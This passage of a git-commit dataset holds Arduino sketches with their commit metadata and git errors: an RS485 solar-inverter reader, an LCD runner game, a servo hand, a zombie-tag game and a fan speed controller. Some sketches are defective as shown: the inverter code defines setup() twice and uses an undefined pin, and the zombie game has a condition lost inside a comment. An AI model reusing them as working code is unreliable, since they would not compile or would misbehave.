'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"103d1ef5968fba158799b08201e3278bfc1ca151","subject":"Create mtt.ino","message":"Create mtt.ino","repos":"mttstt\/Domoticasite,mttstt\/Domoticasite","old_file":"mtt.ino","new_file":"mtt.ino","new_contents":"\n\nvoid setup()\n{\n \n}\n\n\n\n\n\n\n#include <ESP8266WiFi.h>\n#include <SoftwareSerial.h>\n\n#define rxPin 2 \/\/ pin for receiving transmissions, input\n#define txPin 3 \/\/ pin for sending transmissions, output\n\n\/\/#define rtsPin 4 \/\/ pin for switching modes between send and receive, output\n\nSoftwareSerial RS485(rxPin, txPin);\n\n#define pviAddr 2 \/\/ address of the inverter (2 is the default)\n#define timeout 1000 \/\/ timeout while receiving data in ms\n\nboolean recOk; \/\/ stores info of receiving success or fail\nfloat GridPower; \/\/ current power feeding to grid\n\n\/* CRC calculation\n\/\/ 16 12 5\n\/\/ This is the CCITT CRC 16 polynomial X + X + X + 1.\n\/\/ This works out to be 0x1021, but the way the algorithm works\n\/\/ lets us use 0x8408 (the reverse of the bit pattern). The high\n\/\/ bit is always assumed to be set, thus we only use 16 bits to\n\/\/ represent the 17 bit value.\n*\/\n\n#define POLY 0x8408\n\nunsigned int crc16(byte *data_p, byte length)\n{\n byte i;\n unsigned int data;\n unsigned int crc = 0xffff;\n\n if (length == 0)\n return (~crc);\n do\n {\n for (i=0, data=(unsigned int)0xff & *data_p++;\n i < 8; \n i++, data >>= 1)\n {\n if ((crc & 0x0001) ^ (data & 0x0001))\n crc = (crc >> 1) ^ POLY;\n else crc >>= 1;\n }\n } while (--length);\n crc = ~crc;\n return (crc);\n}\n\nbyte receiveAnswer() {\n byte recBuff[8]; \/\/ receiving buffer, 8 bytes\n unsigned int recCRC;\n byte i;\n unsigned long startMillis, currentMillis;\n \n startMillis = millis();\n currentMillis = startMillis;\n i = 0;\n\n while (RS485.available() > 0 and (i <= sizeof(recBuff)) and (currentMillis - startMillis < timeout)) { \n recBuff[i] = RS485.read();\n currentMillis = millis();\n i++;\n }\n\n if ((currentMillis - startMillis < timeout) and (recBuff[0] == 0)) { \/\/ no timeout and transmission state is ok\n recCRC = recBuff[6] + (recBuff[7] << 8);\n if (recCRC == crc16(recBuff, 6)) \/\/ CRC value is ok\n recOk = true;\n else\n Serial.println(\"CRC Error\");\n }\n else if (recBuff[0] != 0)\n Serial.println(\"Error Code \");\n else\n Serial.println(\"Timeout while receiving data\");\n\n \/* Serial.println(\"Values for Debugging: \");\n for (i = 0; i < 8; i++) {\n Serial.print(i);\n Serial.print(\". Wert: \");\n Serial.print(recBuff[i]);\n Serial.print(\" \");\n } *\/\n \n return(recBuff);\n}\n\nbool sendQuery(byte addr, byte cmd1, byte cmd2, byte cmd3) {\n byte cmdBuff[] = { addr, cmd1, cmd2, cmd3, 0, 0, 0, 0, 0, 0 }; \/\/ command buffer, 10 bytes\n unsigned int checksum;\n\n checksum = crc16(cmdBuff, 8);\n cmdBuff[8] = lowByte(checksum);\n cmdBuff[9] = highByte(checksum);\n\n digitalWrite(rtsPin, HIGH); \/\/ activate transmission mode\n if (RS485.write(cmdBuff, 10) == 10) {\n digitalWrite(rtsPin, LOW); \/\/ switch back to receiving mode\n return(true);\n }\n else {\n Serial.println(\"Error while sending data\");\n digitalWrite(rtsPin, LOW); \/\/ switch back to receiving mode\n return(false);\n }\n}\n\nfloat toFloat(byte byteValues[]) {\n byte switchOrder[4];\n float *floatValue;\n \n switchOrder[0] = byteValues[5];\n switchOrder[1] = byteValues[4];\n switchOrder[2] = byteValues[3];\n switchOrder[3] = byteValues[2];\n\n floatValue = (float *)switchOrder;\n\n return(*floatValue);\n}\n\nbool getGridPower(float *GridPower) {\n byte tmpBuff[8];\n byte i;\n recOk = false;\n \n if (sendQuery(pviAddr, 59, 3, 0))\n tmpBuff[8] = receiveAnswer();\n *GridPower = toFloat(tmpBuff);\n if (recOk == true) \n return true;\n else\n return false;\n}\n\nvoid setup() {\n\/\/-----------\n Serial.begin(115200);\n Serial.println();\n WiFi.begin(\"MTT_2.4\", \"x\");\n Serial.print(\"Connecting\");\n while (WiFi.status() != WL_CONNECTED)\n {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n Serial.print(\"Connected, IP address: \");\n Serial.println(WiFi.localIP());\n\/\/ -------------\n\n\/\/Serial.begin(9600); \/\/ initialize serial console\n RS485.begin(19200); \/\/ initialize serial connection to the inverter\n pinMode(rxPin, INPUT); \/\/ set pin modes\n pinMode(txPin, OUTPUT);\n pinMode(rtsPin, OUTPUT);\n}\n\nvoid loop() {\n if (getGridPower(&GridPower)) {\n Serial.println(\"Current power being produced is: \");\n Serial.print(GridPower);\n Serial.print(\" Watts\");\n Serial.println();\n Serial.println();\n }\n else\n Serial.println(\"Error, please look above for details.\");\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mtt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4dcc5cd51c8849dc212b6fd3a1713d3bbde1c297","subject":"2 lines lcd game","message":"2 lines lcd game","repos":"ivanshilo\/arduino","old_file":"Game.ino","new_file":"Game.ino","new_contents":"\n#include \"Wire.h\"\n#include \"Adafruit_LiquidCrystal.h\"\n\n\/\/ Connect via i2c, default address #0 (A0-A2 not jumpered)\nAdafruit_LiquidCrystal lcd(0);\n\nchar block = 219; \/\/ first level obstacles' symbol by ASCII code (rectangle empty inside, some Chinese symbol)\nconst char gamer = '*'; \/\/ gamer's symbol\n\nint blockCounter = 0; \/\/ counts how cells to skip after obstacle has been created\nint counter = 0; \/\/ how many cycles gamer survived\nconst int baseDelay = 100;\nint _delay; \/\/ game's speed, the lesser the faster\n\nchar line0[25]; \/\/ print buffer for lcd, line 0\nchar line1[25]; \/\/ print buffer for lcd, line 1\n\nint gamerPos = 0; \/\/ what the gamer is located (line 0 or 1)\nint gamerLastPos = 0; \/\/ where the gamer was located before he moved (line 0 or 1)\n\n\/\/ set pin numbers:\nconst int button1Pin = 15; \/\/ the number of the pushbutton pin\nconst int button2Pin = 13; \/\/ the number of the pushbutton pin\nconst int led1Pin = 2; \/\/ the number of LED pin for button 1\nconst int led2Pin = 0; \/\/ the unmber of LED pin for button 2\n\nint button1State = 0; \/\/ variable for reading the pushbutton status\nint button2State = 0; \/\/ variable for reading the pushbutton status \nint button1LastState = 0; \/\/ variable for reading the pushbutton status\nint button2LastState = 0; \/\/ variable for reading the pushbutton status\n\nString matrix1Str = String(16); \/\/ string for matrix effect intro\nString matrix2Str = String(16); \/\/ string for matrix effect intro\nchar matrix1[17]; \/\/ char array for matrix effect intro\nchar matrix2[17]; \/\/ char array for matrix effect intro\n\n\/\/ creates obstacles on lines\n\/\/ draws checkpoints every 50 symbols\nvoid GenBlocks(int current, char line0[], char line1[]) {\n\n \/\/ checkpoint\n if (counter > 0 && (counter % 50 == 0)) {\n line0[current] = '|';\n line1[current] = '|'; \n }\n \n if (blockCounter > 0){\n blockCounter--;\n return;\n }\n\n \/\/ Lets try to create block on line 0\n if (line0[current]!=block){\n int factor = random(1000);\n if (factor > 500) { \/\/ success\n line0[current]=block;\n }\n }\n\n \/\/ if there was a block created on line 0 we should then create also on line 1\n if (line0[current] == block) {\n if (random(1000) < 500) {\n line1[current + 2] = block;\n blockCounter = 3; \n }\n \n } \n}\n\n\/\/ New game init procedure\nvoid NewGame() {\n\n counter = 0;\n _delay = baseDelay;\n block = 219;\n \n strcpy(line0,\" \");\n strcpy(line1,\" \");\n \n \/\/ generate some blocks for start\n for (int i = 7; i < 16; i++) {\n GenBlocks(i, line0, line1); \n }\n \n gamerPos = 0;\n gamerLastPos = 0;\n line0[4]=gamer;\n \n lcd.clear();\n lcd.print(\"Hello gamer :)\");\n lcd.setCursor(0,1);\n lcd.print(\"Get ready!\");\n\n delay(1000);\n\n Serial.println(\"Print game field\");\n Serial.println(line0);\n Serial.println(line1);\n \n lcd.setCursor(0,0);\n lcd.print(line0);\n lcd.setCursor(0,1);\n lcd.print(line1);\n\n Serial.println(\"Start game cycle\");\n}\n\nvoid FillStringWithChars(char str[], int strLength) {\n for (int i = 0; i< strLength; i++) {\n str[i] = random(34,255);\n }\n}\n\n\/\/ procedure shows \"Matrix\" effect when symbols fall down in random manner\nvoid ShowMatrix(){\n\n \/\/ init of char arrays with 16 space symbols (lcd is 16 symbols in a row)\n strcpy(matrix1,\" \");\n strcpy(matrix2,\" \");\n matrix1[17]='\\0';\n matrix2[17]='\\0';\n\n \/\/ fill first string with random symbols from ASCII\n FillStringWithChars(matrix1, 16);\n \n Serial.println(\"matrix1\");\n Serial.println(matrix1);\n\n \/\/ main cycle\n for (int j = 0; j < 8; j++) {\n\n \/\/ fill second string with random symbols\n FillStringWithChars(matrix2, 16);\n \n Serial.println(\"matrix2\");\n Serial.println(matrix2);\n \n matrix1Str = String(matrix1);\n matrix2Str = String(matrix2);\n\n \/\/ override second string with some symbols from first string\n for (int i = 0; i< 6; i++) {\n int element = random(16);\n matrix2Str[element]=matrix1Str[element];\n }\n\n \/\/convert for printing\n matrix1Str.toCharArray(matrix1,17);\n matrix2Str.toCharArray(matrix2,17);\n Serial.println(\"matrix1\");\n Serial.println(matrix1);\n Serial.println(\"matrix2\");\n Serial.println(matrix2);\n\n \/\/ print\n lcd.setCursor(0,1);\n lcd.print(matrix1);\n lcd.setCursor(0,0);\n lcd.print(matrix2);\n delay(500);\n \n FillStringWithChars(matrix1, 16);\n \n Serial.println(\"matrix1\");\n Serial.println(matrix1);\n \n for (int i = 0; i< 6; i++) {\n int element = random(16);\n matrix1Str[element]=matrix2Str[element];\n }\n\n \/\/convert for printing\n matrix1Str.toCharArray(matrix1,17);\n matrix2Str.toCharArray(matrix2,17);\n \n lcd.setCursor(0,1);\n lcd.print(matrix2);\n lcd.setCursor(0,0);\n lcd.print(matrix1);\n delay(500);\n }\n\n lcd.setCursor(0,0);\n lcd.print(\"---+ Runner +---\");\n delay(3000);\n}\n\n\/\/ one time start-up procedure\nvoid setup(void){\n \n \/\/ init serial port and lcd \n Serial.begin(115200);\n lcd.begin(16, 2);\n\n \/\/ initialize the LED pin as an output:\n pinMode(led1Pin, OUTPUT);\n pinMode(led2Pin, OUTPUT);\n \/\/ initialize the pushbutton pin as an input:\n pinMode(button1Pin, INPUT);\n pinMode(button2Pin, INPUT);\n\n \/\/ read the state of the pushbutton value:\n button1LastState = digitalRead(button1Pin);\n button2LastState = digitalRead(button2Pin);\n\n \/\/ show intro\n ShowMatrix();\n\n \/\/ start new game\n NewGame();\n \n}\n\nvoid RefreshPic(char line0[], char line1[]){\n \/\/ we do not want to copy gamer's symbol from 4th column\n for (int i = 0; i < 18; i++) {\n if (i == 3) {\n if (gamerLastPos == 0) {\n line0[i] = '_';\n line1[i] = line1[i+1];\n }\n else {\n line0[i] = line0[i+1];\n line1[i] = '_';\n }\n }\n else\n { \/\/ transfer each symbol for 1 cell left creating movement\n line0[i] = line0[i+1];\n line1[i] = line1[i+1];\n }\n }\n \n}\n\nvoid ReadButtons(int *positn) {\n \/\/ read the state of the pushbutton value:\n button1State = digitalRead(button1Pin);\n button2State = digitalRead(button2Pin);\n \n \/\/ check if the pushbutton is pressed.\n \/\/ if it is, the buttonState is HIGH:\n if (button1State == HIGH) {\n \/\/ turn LED on:\n digitalWrite(led1Pin, LOW);\n if (button1State != button1LastState) {\n *positn = 0;\n button1LastState = button1State;\n }\n \n } else {\n button1LastState = 0;\n \/\/ turn LED off:\n digitalWrite(led1Pin, HIGH);\n }\n\n if (button2State == HIGH) {\n \/\/ turn LED on:\n digitalWrite(led2Pin, LOW);\n if (button2State != button2LastState) {\n *positn = 1;\n button2LastState = button2State;\n }\n \n } else {\n button2LastState = 0;\n \/\/ turn LED off:\n digitalWrite(led2Pin, HIGH);\n } \n}\n\nvoid PrintScore(){\n lcd.setCursor(0,1);\n lcd.print(\"U did:\");\n lcd.print(counter);\n lcd.print(\" cycles\");\n}\n\n\/\/ procedure for game over\nvoid GameOver(){\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Game over TT\");\n PrintScore();\n \n delay(5000);\n\n \/\/ restart the game\n NewGame();\n}\n\nvoid GameFinish() {\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"-+-+- You won!\");\n lcd.setCursor(0,1);\n PrintScore();\n delay(4000);\n\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Next player... \");\n lcd.setCursor(0,1);\n lcd.print(\" >>> EXIT >>> \");\n delay(3000);\n \n ShowMatrix();\n NewGame();\n}\n\n\/\/ change obstacles' view and increase speed\nvoid UpdateGameLevel(int *_counter){\n int level = *_counter \/ 50;\n \n Serial.print(\"current counter \");\n Serial.println(*_counter);\n Serial.print(\"current level \");\n Serial.println(level);\n \n if (level == 1) {\n block = '#';\n return;\n }\n\n if (level == 2) {\n block = ':';\n _delay = baseDelay - level*5;\n return;\n }\n\n if (level == 3) {\n block = '.';\n _delay = baseDelay - level*5;\n return;\n }\n\n if (level == 4) {\n block = '_';\n _delay = baseDelay - level*5;\n return;\n }\n\n if (level == 5) {\n block = 255;\n _delay = baseDelay - level*5;\n return; \n }\n\n if (level == 6) {\n GameFinish();\n }\n}\n\n\/\/main loop\nvoid loop(void){\n \n ReadButtons(&gamerPos);\n Serial.print(\"Gamer sits on line \");\n Serial.println(gamerPos);\n \n RefreshPic(line0, line1);\n gamerLastPos = gamerPos;\n\n \/\/ check whether the gamer is in the same cell where the obstacle is\n if (gamerPos == 0) {\n if (line0[4] == block) {\n GameOver();\n }\n }\n else {\n if (line1[4] == block) {\n GameOver();\n }\n }\n\n \/\/ print gamer's symbol\n if (gamerPos == 0) {\n line0[4] = gamer;\n }\n else {\n line1[4] = gamer;\n }\n\n \/\/ show current game field to user\n lcd.setCursor(0,0);\n lcd.print(line0);\n lcd.setCursor(0,1);\n lcd.print(line1);\n Serial.println(line0);\n Serial.println(line1);\n\n \/\/ generate new obstacles\n GenBlocks(15, line0, line1);\n\n counter++;\n\n UpdateGameLevel(&counter);\n\n \/\/ wait for user's input 5ms*_delay\n for (int i = 0; i < _delay; i++)\n {\n delay(5);\n ReadButtons(&gamerPos);\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Game.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6e007ca0bb4bdb9d0b08747aadc9e571b7680608","subject":"Removed misc code for FRAM-RW-validate.ino","message":"Removed misc code for FRAM-RW-validate.ino\n","repos":"enablersg\/fram-lib","old_file":"firmware\/examples\/FRAM-RW-validate.ino","new_file":"firmware\/examples\/FRAM-RW-validate.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/enablersg\/fram-lib.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"8ad7c10e4db579931cfbd5bfa3fbe87ecc9c3ccf","subject":"Changed Trim Limits","message":"Changed Trim Limits\n\nExtended trim range to max possible for software.\n","repos":"lowjunen\/THOR,lowjunen\/THOR","old_file":"Flight_Controller\/_04a_Loop.ino","new_file":"Flight_Controller\/_04a_Loop.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lowjunen\/THOR.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"75c4a0e3fc099cbf2d7b4076f173b6d72a79a572","subject":"added 5 degree change","message":"added 5 degree change\n","repos":"sassystacks\/DASS","old_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit\/Final_Lidar_Pixy_code_RichardEdit.ino","new_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit\/Final_Lidar_Pixy_code_RichardEdit.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sassystacks\/DASS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f347d86e7f79e292ae8d6ff01faeee8eeb81cd39","subject":"Moved arduino files to correct folder system for edit.","message":"Moved arduino files to correct folder system for edit.\n","repos":"N35N0M\/SITCOM","old_file":"detect\/detect.ino","new_file":"detect\/detect.ino","new_contents":"#include <NewPing.h>\n\n\/\/ Author: Kris Monsen, 2015\n\/\/ Credit (where credit is due) & lookups: johnag (Ultrasonic example @instructables, http:\/\/bit.ly\/1jBrk0R), Tim Eckel (NewPing-library, http:\/\/bit.ly\/1pYs3OV)\n\n#define echoPin 3\n#define trigPin 4\n#define maxDistance 200\n\nNewPing ultrasonic(trigPin, echoPin, maxDistance);\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n delay(50); \/\/ Wait 50ms between pings (about 20 pings\/sec). 29ms should be the shortest delay between pings.\n Serial.print(\"Ping: \");\n Serial.print(ultrasonic.ping_cm()); \/\/ Send ping, get distance in cm and print result (0 = outside set distance range)\n Serial.println(\"cm\");\n\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'detect\/detect.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"0122cb27fc94c21e7420863786ec9edf095e5c57","subject":"Update GPS","message":"Update GPS\n","repos":"lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15","old_file":"Arduino Code\/masterCode\/gpsControl.ino","new_file":"Arduino Code\/masterCode\/gpsControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"5a71f5c10da714465f57d80d5c2986316b7764e2","subject":"Add more debug","message":"Add more debug\n","repos":"Bobox214\/Dovlo,Bobox214\/Dovlo","old_file":"arduino\/RosMegaPi\/RosMegaPi.ino","new_file":"arduino\/RosMegaPi\/RosMegaPi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Bobox214\/Dovlo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bdddc19d30e0da44e9c30e8b7168d0419e1ff5ee","subject":"better deadzone","message":"better deadzone\n\nspecific to each motor\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsRX_EZ\/MotorsRX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e2cf58bd8d171d10675c2a42de406ed5245023ff","subject":"mano v0.4 - InMoov Hand - AILR","message":"mano v0.4 - InMoov Hand - AILR\n\nThis version allows control position of each finger with a Potentiometer with Arduino Boards. Similar to mano v0.3\r\n2016.\r\nAngel Iv\u00e1n Lozano Ram\u00edrez.\r\nhttps:\/\/goo.gl\/rQB4H5","repos":"ailr16\/InMoov-Control---AILR","old_file":"mano_v0.4\/mano_v0.4.ino","new_file":"mano_v0.4\/mano_v0.4.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Angel Iv\u00e1n Lozano Ram\u00edrez \/\/\n\/\/ Projecto Mano rob\u00f3tica \/\/\n\/\/ Firmware v0.4 \/\/\n\/\/ 21\/04\/2016 \/\/\n\/\/ Control proporcional de una mano \/\/\n\/\/ rob\u00f3tica con potenci\u00f3metro de 10K \/\/\n\/\/ https:\/\/goo.gl\/XCEf7p \/\/\n\/\/ https:\/\/goo.gl\/rQB4H5 \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include<Servo.h>\nServo menique;\nServo anular;\nServo medio;\nServo indice;\nServo pulgar;\n\nint pot = A0;\nint valor = 0;\nint val = 0;\nint val2 = 0;\nint val3 = 0;\nint val4 = 0;\nint val5 = 0;\n\nvoid setup() {\n menique.attach(11);\n anular.attach(10);\n medio.attach(9);\n indice.attach(6);\n pulgar.attach(5);\n pinMode(pot, INPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n valor = analogRead(pot);\n Serial.println(valor);\n\n val = map(valor, 0, 1023, 180, 60); \/\/Anular\n val2 = map(valor, 0, 1023, 0, 120); \/\/Medio\n val3 = map(valor, 0, 1023, 180, 64); \/\/Me\u00f1ique\n val4 = map(valor, 0, 1023, 180, 92); \/\/Indice\n val5 = map(valor, 0, 1023, 0, 128); \/\/Pulgar\n \n menique.write(val3);\n anular.write(val);\n medio.write(val2);\n indice.write(val4);\n pulgar.write(val5);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mano_v0.4\/mano_v0.4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3f9a899840b0725e2814346538d97db1a19c8061","subject":"it seems to be alive \u2026","message":"it seems to be alive \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"9b4d62847d976cd29780a1a55ad8159fe59f058d","subject":"add quellcode zombie-run","message":"add quellcode zombie-run\n\n","repos":"vcp-scoutlab\/vcp-scoutlab.github.io,vcp-scoutlab\/vcp-scoutlab.github.io,vcp-scoutlab\/vcp-scoutlab.github.io,vcp-scoutlab\/vcp-scoutlab.github.io,vcp-scoutlab\/vcp-scoutlab.github.io,vcp-scoutlab\/vcp-scoutlab.github.io,vcp-scoutlab\/vcp-scoutlab.github.io","old_file":"scoutlab-2017\/zombie-run\/code\/zombie-run.ino","new_file":"scoutlab-2017\/zombie-run\/code\/zombie-run.ino","new_contents":"\/***********************************************************************\nProject ZombieRun\nErstellt zum ScoutLab 2017\nVon: Julian( VCP Seattle),Kathrin (Hochschule M\u00fcnchen), Elisabeth\n(Hochschule M\u00fcnchen)\nMichael (Hochschule M\u00fcnchen), D\u00f6ner (VCP Heinrich Zille)\nDatum: 2017-10-22\n*\/\n\/\/Hier werden die Zurodung der Tasten festgelegt\nconst int gruen = 10;\n\/\/Gr\u00fcne LED\nconst int rot = 11;\n\/\/Rote LED\nconst int TasterPin = A2;\n\/\/Taster zum Abschlagen Oder Kontakt\n\/\/( hier mit Kupferstreifen und Schwamm gebastelt)\nconst int Lichtsensor = A3;\n\/\/Lichtsensor f\u00fcr das Erl\u00f6sen des Zombie\n\/\/Konfiguration\nconst long interval = 200;\nconst long Lichtelevel = 400;\n\/\/ Mensch wird\n\/\/ Variabel fuer den Spielablauf\nint lebensstatus = 0;\nint ledState = LOW;\nunsigned long previousMillis = 0;\n\/\/Intervall)\nint sensorValue = 0;\n\/\/Legt das Blinkintervall fest\n\/\/Ab welchem Lichtwert der Zombie zum\n\/\/Mensch oder Zombie\n\/\/Fuer den Blinkablauf (Status der LED)\n\/\/Fuer den Blinkablauf (F\u00fcr den\n\/\/Liest den Wert des Lichtsensors ein\n\/\/Routine fuer die Vorbereitung\nvoid setup() {\n\/\/Legt die Eingaenge fest\npinMode(gruen, OUTPUT);\npinMode(rot, OUTPUT);\npinMode(TasterPin, INPUT_PULLUP);\n\/\/ Startet die Serielle Ausgabe an den Rechner fuer die Fehlersuche\nSerial.begin(9600);\n}\n\/\/Haupt Routine die sich staendig wiederholt\nvoid loop() {\n\/\/ Einlesen des Lichtsensors und Ausgabe des Wertes an den Rechner\nsensorValue = analogRead(Lichtsensor);\nSerial.print(\"sensor = \");\nSerial.println(sensorValue);\n\/\/Abfrage des aktuellen Zeitpunktes der Laufzeit des Programmes\nunsigned long currentMillis = millis();\n\/\/Dieser Abschnitt fragt ab ob diese Person geheilt wird, also angeleuchtet\n\/\/wird.\n\/\/ also vom Zombie zum Menschif (sensorValue > Lichtelevel )\nlebensstatus = 0;\n\/\/Hier wird der Mensch zum Zombie wenn der Taster oder Kontakt betaetigt\n\/\/wurde\nif (digitalRead(TasterPin) == LOW) {\nif (lebensstatus == 0)\n{\nlebensstatus = 1;\n}\n}\n\/\/BlinkRoutine f\u00fcr den Menschen\nif ( lebensstatus == 0) {\ndigitalWrite(rot, HIGH);\n\/\/Zombie LED wird ausgeschalten\n\/\/Routine fuer das Blinken\nif (currentMillis - previousMillis >= interval) {\npreviousMillis = currentMillis;\nif (ledState == LOW) {\nledState = HIGH;\n} else {\nledState = LOW;\n}\ndigitalWrite(gruen, ledState);\n}\n}\n\/\/BlinkRoutine f\u00fcr den Zobmbie\nif ( lebensstatus == 1) {\ndigitalWrite(gruen, HIGH); \/\/Mensch LED wird ausgeschalten\n\/\/Routine fuer das Blinken\nif (currentMillis - previousMillis >= interval) {\npreviousMillis = currentMillis;\nif (ledState == LOW) {\nledState = HIGH;\n} else {\nledState = LOW;\n}\ndigitalWrite(rot, ledState);\n}\n}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'scoutlab-2017\/zombie-run\/code\/zombie-run.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aa723c3be795f0370c395f2e792702f5f86f1246","subject":"Create Email.ino","message":"Create Email.ino","repos":"Satrajit-c\/door_sensor","old_file":"Version 1.2\/With_bell\/Email.ino","new_file":"Version 1.2\/With_bell\/Email.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Version' did not match any file(s) known to git\nerror: pathspec '1.2\/With_bell\/Email.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c157ff9f6a7b5a7517f50bbf78721eecf86bbacf","subject":"Delete src.ino","message":"Delete src.ino","repos":"AJama50\/CS207-Project","old_file":"src.ino","new_file":"src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/AJama50\/CS207-Project.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"bd33c8cf4fa1eb19e9b7de335fbcfef4f6d52a3a","subject":"Mejora en codigo arduino del controlador -identar-","message":"Mejora en codigo arduino del controlador -identar-\n","repos":"EsauGlez\/Controlador-Ventilador","old_file":"Controlador_interfaz_Matlab-Arduino\/Controlador\/Controlador\/Controlador.ino","new_file":"Controlador_interfaz_Matlab-Arduino\/Controlador\/Controlador\/Controlador.ino","new_contents":"\/\/CONTADOR DE PULSOS DE UN VNTILADOR DE COMPUTADORA SIN ESCOBILLAS\n\nconst int hardwareCounterPin = 5; \/\/ Entrada del pin para el Timer(Contador)\nint Valor = 0; \nint RPS =0; \/\/Variable para almacenar el valor de las RPM\nconst int samplePeriod = 1000; \/\/ muestra de tiempo (1s)\nunsigned int count; \/\/Variable del contador\nint PW_MA = 6;\nint Duty=0;\nint Dato=0;\nint v_inicio = 150;\nint error = 0;\nint incremento = 0;\nint n=0;\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(PW_MA, OUTPUT); \n TCCR1A=0; \/\/ reset timer\/counter control register A\n} \n\nvoid loop()\n{\n n=1;\n incremento=16;\n analogWrite(PW_MA,v_inicio);\n\n Dato = Serial.parseInt();\n delay(1000);\n contador();\n Serial.println(RPS);\n \n if(Dato==0)\n {\n error=0;\n }\n else\n { \n error = RPS - Dato;\n }\n \/\/ Duty = map(Dato,0,34,0,255);\n \/\/ analogWrite(PW_MA,Duty);\n \n if (error < 0)\n {\n v_inicio=Aumenta_PWM(v_inicio);\n } \n if (error > 0)\n {\n v_inicio=Disminuye_PWM(v_inicio);\n }\n \/\/ Serial.println(count);\n \/\/ Serial.println(RPS); \/\/Se despliega el valor obtenido\n}\n\nvoid contador(void)\n{\n for (int i=0; i <= 1; i++)\n {\n \/\/ TCNT1 = 0;\n \/\/ Comienza el conteo\n bitSet(TCCR1B ,CS12); \/\/ Counter Clock source is external pin\n bitSet(TCCR1B ,CS11); \/\/ Clock on rising edge \n delay(samplePeriod); 